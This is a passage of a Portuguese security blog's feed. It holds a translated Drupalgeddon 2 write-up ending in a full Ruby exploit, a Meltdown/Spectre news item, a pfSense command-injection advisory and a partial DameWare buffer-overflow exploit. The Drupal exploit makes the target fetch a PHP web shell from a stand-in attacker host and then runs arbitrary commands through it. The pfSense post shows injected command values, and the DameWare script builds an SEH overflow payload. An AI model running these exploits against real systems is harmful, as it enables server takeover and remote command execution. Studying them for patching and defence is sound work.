<span class="notranslate">&#8216;#suffix&#8217; =&gt; &#8216;&lt;/ div&gt;&#8217;</span><br />
<span class="notranslate">]</span></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Patch do Drupal</strong></span></p>
<p><span class="notranslate">O patch que o Drupal publicou adiciona uma única classe chamada <em>RequestSanitizer</em> com um método <em>stripDangerousValues</em> que anula todos os itens em uma matriz de entrada para chaves que começam com um sinal de hash.</span> <span class="notranslate">Esse método limpa os dados de entrada em $ _GET, $ _POST &amp; $ _COOKIES durante os primeiros estágios do bootstrap do Drupal (imediatamente após carregar as configurações do site).</span></p>
<p><span class="notranslate">Assumimos que uma das razões pelas quais o patch foi feito dessa maneira foi dificultar a localização e a exploração da vulnerabilidade.</span></p>
<p><span class="notranslate"><strong>Encontrando um Vector de Ataque</strong></span></p>
<p><span class="notranslate">Por causa do acima, nos concentramos em formulários que são expostos a usuários anônimos.</span></p>
<p><span class="notranslate">Existem alguns desses formulários disponíveis, um dos quais é o formulário de registro do usuário.</span> <span class="notranslate">Este formulário contém vários campos, como pode ser visto na captura de tela abaixo.</span></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 1:</strong> O formulário de registro do Drupal.</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vnulenrabilidade-linux-force-security-01.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1551" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vnulenrabilidade-linux-force-security-01.png" alt="" width="634" height="842" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate">Sabíamos que precisávamos injetar um array renderizável em algum lugar na estrutura do formulário, só precisávamos descobrir onde.</span></p>
<p><span class="notranslate">Quando isso acontece, o campo &#8220;Endereço de e-mail&#8221; não limpa o tipo de entrada que recebe.</span> <span class="notranslate">Isso nos permitiu injetar um array na estrutura do array de formulários (como o valor do campo de email).</span></p>
<p>&nbsp;</p>
<p><strong>Figura 2:</strong> Injetando nosso array renderizável na entrada de <em>email</em> do formulário de registro.</p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-02.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1552" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-02.jpg" alt="" width="721" height="256" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 3:</strong> Exemplo de matriz renderizável de formulário injetado.</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-03.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1553" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-03.png" alt="" width="530" height="1124" /></a></p>
<p><span class="notranslate">Agora tudo o que precisávamos era que o Drupal processasse nosso array injetado.</span> <span class="notranslate">Como o Drupal trata nossa matriz injetada como um valor e não como um elemento, precisamos enganar o Drupal para renderizá-lo.</span></p>
<p><span class="notranslate">As situações em que o Drupal renderiza matrizes são as seguintes:</span></p>
<ol>
<li><span class="notranslate">Carregamento de página</span></li>
<li><span class="notranslate">Drupal AJAX API &#8211; ou seja, quando um usuário preenche um formulário AJAX, uma solicitação é feita ao Drupal, que renderiza uma marcação HTML e atualiza o formulário.</span></li>
</ol>
<p><span class="notranslate">Após investigar possíveis vetores de ataque em torno das funcionalidades acima, por causa do processo de renderização pós-submissão e do modo como o Drupal o implementa, chegamos à conclusão de que uma chamada API AJAX é nossa melhor opção para alavancar um ataque.</span></p>
<p><span class="notranslate">Como parte do formulário de registro do usuário, o campo &#8220;Imagem&#8221; usa a API AJAX do Drupal para enviar uma imagem para o servidor e substituí-la por uma miniatura da imagem carregada.</span></p>
<p>&nbsp;</p>
<p><strong>Figura 4:</strong> Formulário usado para enviar uma imagem usando a API do AJAX.</p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-04.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1554" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-04.png" alt="" width="615" height="592" /></a></p>
<p>&nbsp;</p>
<p>Mergulhar no retorno de chamada de upload do arquivo AJAX revelou que ele usa um parâmetro GET para localizar a parte do formulário que precisa ser atualizada no cliente.</p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 5:</strong> Código da função de retorno de chamada do &#8216;upload file&#8217; do AJAX.</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-05.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1555" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-05.png" alt="" width="724" height="480" /></a></p>
<p><span class="notranslate">Depois de apontar element_parents para a parte do formulário que continha nosso array injetado, o Drupal o processou com sucesso.</span></p>
<p><span class="notranslate"><strong>Armamento Drupalgeddon 2</strong></span></p>
<p><span class="notranslate">Agora, tudo o que precisávamos fazer era injetar uma matriz de renderização mal-intencionada que usasse um retorno de chamada de renderização do Drupal para executar o código no sistema.</span></p>
<p><span class="notranslate">Havia várias propriedades que poderíamos ter injetado:</span></p>
<ul>
<li><span class="notranslate">#access_callback</span><br />
<span class="notranslate"><em>Usado pelo Drupal para determinar se o usuário atual tem ou não acesso a um elemento.</em></span></li>
<li><span class="notranslate">#pre_render</span><br />
<span class="notranslate"><em>Manipula o array de renderização antes da renderização.</em></span></li>
<li><span class="notranslate">#lazy_builder</span><br />
<span class="notranslate"><em>Usado para adicionar elementos no final do processo de renderização.</em></span></li>
<li><span class="notranslate">#post_render</span><br />
<span class="notranslate"><em>Recebe o resultado do processo de renderização e adiciona wrappers em torno dele.</em></span></li>
</ul>
<p><span class="notranslate">Para o nosso POC funcionar, escolhemos o elemento <em>#lazy_builder</em> como aquele que está sendo injetado na matriz de correio.</span> <span class="notranslate">Combinado com a funcionalidade de retorno de chamada da API AJAX, poderíamos direcionar o Drupal para renderizar nosso array malicioso.</span></p>
<p><span class="notranslate">Isso nos permitiu assumir o controle da conta do administrador, instalar um módulo backdoor mal-intencionado e finalmente executar comandos arbitrários no servidor.</span></p>
<p>&nbsp;</p>
<p><strong>Figura 6:</strong> injetando o comando malicioso em um dos retornos de chamada de renderização do Drupal.</p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-06.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1556" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-06.jpg" alt="" width="1017" height="137" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 7:</strong> Executando com sucesso comandos do shell usando o módulo malicioso</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-07.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1557" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-07.jpg" alt="" width="636" height="278" /></a></p>
<p><span class="notranslate"><strong>Conclusão</strong></span></p>
<p><span class="notranslate">Depois de ver publicações anteriores no Twitter e vários blogs de segurança, ficou aparente que havia muita confusão entre a comunidade em relação a este anúncio de vulnerabilidade, com alguns até duvidando da gravidade do mesmo.</span> <span class="notranslate">Como resultado, consideramos que vale a pena olhar mais fundo.</span></p>
<p><span class="notranslate">A pesquisa, no entanto, foi desafiadora, já que estávamos começando de uma grande superfície de ataque, já que o patch turva os vetores reais de ataque.</span> <span class="notranslate">Para agilizar nossas descobertas, tivemos a sorte de nos unirmos a especialistas na plataforma Drupal.</span> <span class="notranslate">Os resultados finais destacam como é fácil para a organização ser exposta sem culpa própria, mas sim pelas plataformas de terceiros que usam todos os dias.</span></p>
<p><span class="notranslate"><strong>Sobre os pesquisadores</strong></span></p>
<p><span class="notranslate">Eyal Shalev, Senior Developer na <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://bit.ly/2v7R1Wx&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhgLR88sMAeh1UHq1tG2ahU1CxXgrA" target="_blank" rel="noopener noreferrer nofollow">Dofinity</a></span><br />
<span class="notranslate">Rotem Reiss, líder de operações de desenvolvimento e segurança na <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://bit.ly/2v7R1Wx&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhgLR88sMAeh1UHq1tG2ahU1CxXgrA" target="_blank" rel="noopener noreferrer nofollow">Dofinity</a></span> <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://bit.ly/2v7R1Wx&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhgLR88sMAeh1UHq1tG2ahU1CxXgrA" target="_blank" rel="noopener noreferrer nofollow"><br />
</a><span class="notranslate">Eran Vaknin, Pesquisador de Segurança da <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://www.checkpoint.com/&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhglxX8lJRApQU1AgEVdGpv2ZmykGw" target="_blank" rel="noopener noreferrer nofollow">Check Point</a></span></p>
<p>&nbsp;</p>
<p><strong>Código do Exploit abaixo (Fonte: Exploit-db.com):</strong></p>
<div></div>
<div class="line number1 index0 alt2"><code class="ruby comments"># EDB-Note. Have the contents of "shell" on http://attacker/shell.php</code></div>
<div class="line number2 index1 alt1"></div>
<div class="line number3 index2 alt2"><code class="ruby plain">require </code><code class="ruby string">'net/http'</code></div>
<div class="line number4 index3 alt1"></div>
<div class="line number5 index4 alt2"><code class="ruby comments"># Hans Topo ruby port from Drupalggedon2 exploit.</code></div>
<div class="line number6 index5 alt1"><code class="ruby comments"># Based on Vitalii Rudnykh exploit</code></div>
<div class="line number7 index6 alt2"></div>
<div class="line number8 index7 alt1"><code class="ruby plain">target = </code><code class="ruby constants">ARGV</code><code class="ruby plain">[</code><code class="ruby constants">0</code><code class="ruby plain">]</code></div>
<div class="line number9 index8 alt2"><code class="ruby plain">command = </code><code class="ruby constants">ARGV</code><code class="ruby plain">[</code><code class="ruby constants">1</code><code class="ruby plain">]</code></div>
<div class="line number10 index9 alt1"></div>
<div class="line number11 index10 alt2"><code class="ruby plain">url = target + </code><code class="ruby string">'/user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax'</code></div>
<div class="line number12 index11 alt1"></div>
<div class="line number13 index12 alt2"><code class="ruby plain">shell = </code><code class="ruby string">"&lt;?php system($_GET['cmd']); ?&gt;"</code></div>
<div class="line number14 index13 alt1"></div>
<div class="line number15 index14 alt2"><code class="ruby plain">payload = </code><code class="ruby string">'mail%5B%23markup%5D%3Dwget%20http%3A%2F%2Fattacker%2Fshell.php%26mail%5B%23type%5D%3Dmarkup%26form_id%3Duser_register_form%26_drupal_ajax%3D1%26mail%5B%23post_render%5D%5B%5D%3Dexec'</code></div>
<div class="line number16 index15 alt1"></div>
<div class="line number17 index16 alt2"><code class="ruby plain">uri = </code><code class="ruby constants">URI</code><code class="ruby plain">(url)</code></div>
<div class="line number18 index17 alt1"></div>
<div class="line number19 index18 alt2"><code class="ruby plain">http = Net::</code><code class="ruby constants">HTTP</code><code class="ruby plain">.</code><code class="ruby keyword">new</code><code class="ruby plain">(uri.host,uri.port)</code></div>
<div class="line number20 index19 alt1"></div>
<div class="line number21 index20 alt2"><code class="ruby keyword">if</code> <code class="ruby plain">uri.scheme == </code><code class="ruby string">'https'</code></div>
<div class="line number22 index21 alt1"><code class="ruby spaces">    </code><code class="ruby plain">http.use_ssl = </code><code class="ruby keyword">true</code></div>
<div class="line number23 index22 alt2"><code class="ruby spaces">    </code><code class="ruby plain">http.verify_mode = OpenSSL::</code><code class="ruby constants">SSL</code><code class="ruby plain">::</code><code class="ruby constants">VERIFY_NONE</code></div>
<div class="line number24 index23 alt1"><code class="ruby keyword">end</code></div>
<div class="line number25 index24 alt2"></div>
<div class="line number26 index25 alt1"><code class="ruby plain">req = Net::</code><code class="ruby constants">HTTP</code><code class="ruby plain">::Post.</code><code class="ruby keyword">new</code><code class="ruby plain">(uri.path)</code></div>
<div class="line number27 index26 alt2"><code class="ruby plain">req.body = payload</code></div>
<div class="line number28 index27 alt1"></div>
<div class="line number29 index28 alt2"><code class="ruby plain">response = http.request(req)</code></div>
<div class="line number30 index29 alt1"></div>
<div class="line number31 index30 alt2"><code class="ruby keyword">if</code> <code class="ruby plain">response.code != </code><code class="ruby string">"200"</code></div>
<div class="line number32 index31 alt1"><code class="ruby spaces">    </code><code class="ruby plain">puts </code><code class="ruby string">"[*] Response: "</code> <code class="ruby plain">+ response.code</code></div>
<div class="line number33 index32 alt2"><code class="ruby spaces">    </code><code class="ruby plain">puts </code><code class="ruby string">"[*] Target seems not to be exploitable"</code></div>
<div class="line number34 index33 alt1"><code class="ruby spaces">    </code><code class="ruby plain">exit</code></div>
<div class="line number35 index34 alt2"><code class="ruby keyword">end</code></div>
<div class="line number36 index35 alt1"></div>
<div class="line number37 index36 alt2"><code class="ruby plain">puts </code><code class="ruby string">"[*] Target seems to be exploitable."</code></div>
<div class="line number38 index37 alt1"></div>
<div class="line number39 index38 alt2"><code class="ruby plain">exploit_uri = </code><code class="ruby constants">URI</code><code class="ruby plain">(target+</code><code class="ruby string">"/sh.php?cmd=#{command}"</code><code class="ruby plain">)</code></div>
<div class="line number40 index39 alt1"><code class="ruby plain">response = Net::</code><code class="ruby constants">HTTP</code><code class="ruby plain">.get_response(exploit_uri)</code></div>
<div class="line number41 index40 alt2"><code class="ruby plain">puts response.body</code></div>
<div></div>
<div>[mautic type=&#8221;form&#8221; id=&#8221;1&#8243;]</div>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxforce.com.br/seguranca-da-informacao/drupal-vulnerabilidade-drupalgeddon2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Falhas de segurança em processadores Intel  &#8211; Meltdown e Espectre!</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/falha-de-seguranca-processadores-intel/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:26 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1482</guid>

					<description><![CDATA[Em 2016, a equipe do Google Project Zero descobriu graves falhas de segurança causadas pela “speculative execution”, uma técnica usada pela maioria dos processadores modernos (CPUs) para otimizar o desempenho, isto inclui além da Intel, outros grandes fabricantes de chips mundiais como a AMD, ARM e NVIDIA e seus respectivos sistemas operacionais independente de qual [&#8230;]]]></description>
										<content:encoded><![CDATA[<div id="tw-target-text-container" class="tw-ta-container tw-nfl">
<p id="tw-target-text" class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Em 2016, a equipe do Google <strong>Project Zero</strong> descobriu graves falhas de segurança causadas pela “<a href="https://en.wikipedia.org/wiki/Speculative_execution" rel="nofollow noopener">speculative execution</a>”, uma técnica usada pela maioria dos processadores modernos (CPUs) para otimizar o desempenho, isto inclui além da Intel, outros grandes fabricantes de chips mundiais como a AMD, ARM e NVIDIA e seus respectivos sistemas operacionais independente de qual seja.</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">O pesquisador do Projeto Zero, <strong>Jann Horn</strong>, demonstrou que códigos mal-intencionados poderiam aproveitar a execução especulativa para ler a memória do sistema que deveria estar inacessível. Por exemplo, uma pessoa não autorizada pode ler informações confidenciais importantes e impactantes na memória do sistema, como senhas, chaves de criptografia ou informações confidenciais abertas nos aplicativos. O teste também mostrou que um ataque executado em uma máquina virtual foi capaz de acessar a memória física da máquina host e, através disso, obter acesso de leitura à memória de uma máquina virtual diferente no mesmo host.</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Assim que a equipe do Google descobriu o problema dessa nova classe de ataque, os mesmos já se mobilizaram para defender os seus sistemas e os dados de seus usuários. Já pensou! Se até o Google seria vítima, imaginem o resto do mundo. Como já seria de se esperar, o Google colaborou com fabricantes de hardware e software em toda a indústria mundial para ajudar a proteger seus usuários e a web da maneira mais ampla. Esses esforços incluíram análise colaborativa e o desenvolvimento de novas mitigações.</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Esta matéria foi retirada do Blog Oficial do Google para notícias de segurança, Esta noticia foi postada antes da data original prevista que era dia 9 de janeiro de 2018 devido aos relatórios públicos existentes e a especulações crescentes na comunidade de pesquisa de imprensa e segurança sobre o problema, o que aumenta o risco de exploração. O relatório completo do Projeto Zero está disponível (atualização: isso foi publicado, veja acima).</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Abaixo segue o status de atenuação para produtos do Google em uma lista de produtos afetados e seu status atual de mitigação contra este ataque aparece <a href="https://support.google.com/faqs/answer/7622138" rel="nofollow noopener">aqui</a>. Como esta é uma nova classe de ataque, nosso status de patch refere-se à nossa mitigação para vetores atualmente conhecidos para explorar a falha. O problema foi atenuado em muitos produtos (ou não era uma vulnerabilidade em primeiro lugar). Em alguns casos, os usuários e clientes podem precisar tomar medidas adicionais para garantir que estejam usando uma versão protegida de um produto. Esta lista e o status de um produto podem mudar conforme os novos desenvolvimentos garantem. No caso de novos desenvolvimentos, o Google postará atualizações em seu blog Oficial (Os links contidos nas informações abaixo estão em inglês e foram fornecidos pelo Google em seu blog oficial).</p>
<ul>
<li><strong>Android</strong><br />
Os dispositivos com a <a href="https://source.android.com/security/bulletin/2018-01-01" rel="nofollow noopener">última atualização de segurança</a> estão protegidos. Além disso, desconhecemos qualquer reprodução bem-sucedida dessa vulnerabilidade que permita a divulgação de informações não autorizadas em dispositivos Android baseados em ARM.<br />
Os dispositivos Nexus e Pixel suportados com a última atualização de segurança estão protegidos.</li>
<li><strong>Google Apps / G Suite (Gmail, Calendário, Unidade, Sites, etc.):</strong><br />
Nenhuma ação adicional de usuário ou cliente necessária.</li>
<li><strong>Google Chrome</strong><br />
Algumas ações do usuário ou do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#chrome" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Chrome OS</strong> (por exemplo, Chromebooks):<br />
Algumas ações adicionais do usuário ou do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#chromeos" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Cloud Platform</strong>
<ul>
<li><strong>Google App Engine</strong>: Nenhuma ação adicional do cliente necessária.</li>
<li><strong>Google Compute Engine:</strong> Algumas ações adicionais do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#gce" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Kubernetes Engine:</strong> Algumas ações adicionais do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#gke" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Cloud Dataflow:</strong> necessária uma ação adicional do cliente. Mais informações <a href="https://support.google.com/faqs/answer/7622138#clouddataflow" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Cloud Dataproc:</strong> necessária uma ação adicional do cliente. Mais informações <a href="https://support.google.com/faqs/answer/7622138#clouddataproc" rel="nofollow noopener">aqui</a>.</li>
</ul>
</li>
<li>Todos os outros produtos e serviços do Google Cloud: Nenhuma ação adicional é necessária.</li>
<li>Google Home / Chromecast:<br />
Nenhuma ação de usuário adicional é necessária.</li>
<li>Google Wifi / OnHub:<br />
Nenhuma ação de usuário adicional é necessária.</li>
</ul>
<p>A falha permite <strong>múltiplos métodos de ataque</strong></p>
<p>Para aproveitar esta vulnerabilidade, primeiro um atacante pode ser capaz de executar código malicioso no sistema visado.<br />
Os pesquisadores do Projeto Zero descobriram três métodos (variantes) de ataque, que são efetivos sob diferentes condições. Todas as três variantes de ataque podem permitir que qualquer usuário do sistema execute leituras não autorizadas de dados de memória, que podem conter informações confidenciais, como senhas, material de criptografia, etc.</p>
<p>Para melhorar o desempenho, muitas CPUs podem optar especificamente por executar instruções com base em premissas que são consideradas verdadeiras. Durante a execução especulativa, o processador está verificando esses pressupostos; se eles são válidos, então a execução continua. Se eles são inválidos, a execução é desencadeada e o caminho de execução correto pode ser iniciado com base nas condições reais. É possível que esta execução especulativa tenha efeitos colaterais que não sejam restaurados quando o estado da CPU é desencadeada e pode levar à divulgação de informações.</p>
<p>Não existe uma única correção para as três variantes de <strong>ataque</strong> de uma vez; Cada uma exige proteção de forma independente. Muitos vendedores possuem correções disponíveis para um ou mais desses ataques.</p>
<p>Abaixo seguem dois exemplos de ataques que foram utilizados com sucesso pelos engenheiros do Google, ambos com exploits já existentes que poderiam ser adaptados para explorar as falhas.</p>
<p><strong>Meltodwon</strong> quebra o isolamento mais fundamental entre as aplicações do usuário e o sistema operacional. Este ataque permite que um programa acesse a memória e, portanto, também os segredos, de outros programas e do sistema operacional.</p>
<p><strong>Spectre</strong> quebra o isolamento entre diferentes aplicativos. Ele permite que o invasor engane programas sem erros, que seguem as melhores práticas, para capturar os segredos da maquina visada. Na verdade, as verificações de segurança referidas das melhores práticas realmente aumentam a superfície de ataque e podem tornar as aplicações mais susceptíveis ao Spectre.</p>
<p>Specter é mais difícil de explorar do que Meltdown, mas também é difícil de mitigar. No entanto, é possível evitar explorações de conhecimento específicas com base em Spectre através de atualizações de software.</p>
<p>Portanto Sysadmins, fiquem alertas para os próximos updates 🙂</p>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Notícia traduzida, adaptada e aprimorada por Marcio Mariano Galvão.</p>
<p>Fonte Original: <a href="https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html" rel="nofollow noopener">Blog Oficial do Google</a></p>
<div id="tw-target-text-container" class="tw-ta-container tw-nfl">
<p>&nbsp;</p>
</div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pfSense  </title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/pfsense-falha-de-seguranca-edb-id43128/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:25 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1454</guid>

					<description><![CDATA[Atenção aos administradores de Redes que utilizam o pfSense como firewall, embora hoje estejamos já na versão 2.4.1 que não é afetada por esta falha, sabemos que muitos utilizam versões anteriores e não mantem seus sistemas atualizados, falha grave no que se refere a segurança. Nós da Linux Force Security sempre consideramos que o menos [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Atenção aos administradores de Redes que utilizam o pfSense como firewall, embora hoje estejamos já na versão 2.4.1 que não é afetada por esta falha, sabemos que muitos utilizam versões anteriores e não mantem seus sistemas atualizados, falha grave no que se refere a segurança.<br />
Nós da Linux Force Security sempre consideramos que o menos é mais quando se trata de segurança. Uma prova disto são falhas relacionadas a softwares que deveriam aumentar a segurança, mas que uma vez ou outra infelizmente abrem brechas justamente opostas ao que se remetem.<br />
Vale lembrar que em março deste ano tivemos uma outra falha relacionada a mesma ferramenta, que naquela época se referia a ataques do tipo Cross-Site Scripting / Cross-Site Request Forgery que afetava uma versão superior a esta, mais especificamente a versão 2.3.2, informações detalhadas sobre esta falha podem ser encontradas clicando <a href="https://www.exploit-db.com/exploits/41501/" rel="nofollow noopener">aqui</a> .</p>
<p>Sem mais delongas:</p>
<p>Exploit Title: pfSense &lt;= 2.3.1_1 Post-Auth Command Execution<br />
Date: 11-06-2017<br />
Exploit Author: s4squatch (Scott White &#8211; www.trustedsec.com)<br />
Vendor Homepage: https://www.pfsense.org<br />
Version: 2.3-RELEASE<br />
Vendor Security Advisory: https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc</p>
<p>1. Descrição<br />
As versões do pfSense &lt;= 2.3.1_1 são afetadas por uma vulnerabilidade de injeção de comando pós-autenticação no servidor instalado em auth.inc através da página /system_groupmanager.php (menu Sistema -&gt; Gerenciador de usuários -&gt; Grupos) no gerenciamento do parâmetro [] dos membros . Isso permite que um usuário autenticado da WebGUI com privilégios no system_groupmanager.php executar comandos no contexto do usuário root do servidor em questão.</p>
<p>2. Prova do conceito<br />
&#8216;`ifconfig&gt;/usr/local/www/ifconfig.txt`&#8217;<br />
&#8216;`whoami&gt;/usr/local/www/whoami.txt`&#8217;</p>
<p>A saída do comando pode ser visualizada da seguinte forma:<br />
http://&lt;endereço&gt;/ifconfig.txt<br />
http://&lt;endereço&gt;/whoami.txt</p>
<address>Outra prova do conceito:  0&#8242;;/sbin/ping -c 10 192.168.1.125;&#8217;  (lembre-se de substituir este ip)</address>
<address>3. Solução<br />
Atualize para a versão mais recente do pfSense (2.3.1_5 acima esta corrigido). Isso pode ser realizado na interface web ou do<br />
console. Consulte https://doc.pfsense.org/index.php/Upgrade_Guide Além disso, os problemas podem ser atenuados restringindo o acesso à interface gráfica do firewall tanto com regras de firewall quanto não permitindo que usuários não confiáveis ​​tenham contas com acesso a mesma interface e não concedendo acesso de administradores não confiáveis ​​às páginas em questão.O problema foi divulgado de forma responsável no pfSense (security@pfsense.org) em 06/08/2016 e corrigido em 06/09/2016!<br />
Parabéns a equipe do PfSense pelo impressionante tempo de resposta.</address>
<address> </address>
<address>Fonte https://www.exploit-db.com/exploits/43128/</address>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>DameWare Remote Support 12.1.0.34 &#8211; Buffer Overflow (SEH)</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/dameware-remote-support-12-1-0-34-buffer-overflow-seh/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Thu, 31 Oct 2019 17:49:18 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=2935</guid>

					<description><![CDATA[DameWare Remote Support 12.1.0.34 &#8211; Buffer Overflow (SEH) #!/usr/bin/env python # Author: Xavi Beltran # Contact: xavibeltran@protonmail.com # Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/ # Date: 14/7/2019 # Description: # SEH based Buffer Overflow # DameWare Remote Support V. 12.1.0.34 # Tools &#62;&#62; Computer Comments &#62;&#62; Description # msf-pattern_offset -q "37694136" -l 5000 # [*] Exact match at [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1 class="card-title text-secondary text-center">DameWare Remote Support 12.1.0.34 &#8211; Buffer Overflow (SEH)</h1>
<pre class=" language-py"><code class=" language-py"><span class="token comment">#!/usr/bin/env python</span>
<span class="token comment"># Author: Xavi Beltran</span>
<span class="token comment"># Contact: xavibeltran@protonmail.com</span>
<span class="token comment"># Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/</span>
<span class="token comment"># Date: 14/7/2019</span>

<span class="token comment"># Description:</span>
<span class="token comment">#           SEH based Buffer Overflow</span>
<span class="token comment">#			DameWare Remote Support V. 12.1.0.34</span>
<span class="token comment">#           Tools &gt;&gt; Computer Comments &gt;&gt; Description</span>

<span class="token comment"># msf-pattern_offset -q "37694136" -l 5000</span>
<span class="token comment"># [*] Exact match at offset 260</span>
junk1 <span class="token operator">=</span> <span class="token string">"\x41"</span> <span class="token operator">*</span> <span class="token number">260</span>

<span class="token comment"># Unicode compatible padding</span>
nseh  <span class="token operator">=</span> <span class="token string">"\x61\x43"</span>

<span class="token comment"># 0x007a0021 : pop esi # pop edi # ret</span>
<span class="token comment"># startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)</span>
seh   <span class="token operator">=</span> <span class="token string">"\x21\x7a"</span>

<span class="token comment"># Put shellcode memory address in EAX, push it to the stack and RETN</span>
<span class="token comment"># 20 bytes</span>
align  <span class="token operator">=</span> <span class="token string">""</span>
align <span class="token operator">+=</span> <span class="token string">"\x43"</span> <span class="token operator">*</span> <span class="token number">10</span>                <span class="token comment"># Padding</span>
align <span class="token operator">+=</span> <span class="token string">"\x58"</span>                     <span class="token comment"># POP EAX</span>
align <span class="token operator">+=</span> <span class="token string">"\x73"</span>                     <span class="token comment"># Venetian padding</span>
<span class="token comment"># 0012F590   83C0 50          ADD EAX,50</span>
align <span class="token operator">+=</span> u<span class="token string">"\uC083"</span> <span class="token operator">+</span> <span class="token string">"\x50"</span>         <span class="token comment"># ADD EAX, 50</span>
align <span class="token operator">+=</span> <span class="token string">"\x73"</span>                     <span class="token comment"># Venetian padding</span>
align <span class="token operator">+=</span> <span class="token string">"\x50"</span>                     <span class="token comment"># PUSH EAX</span>
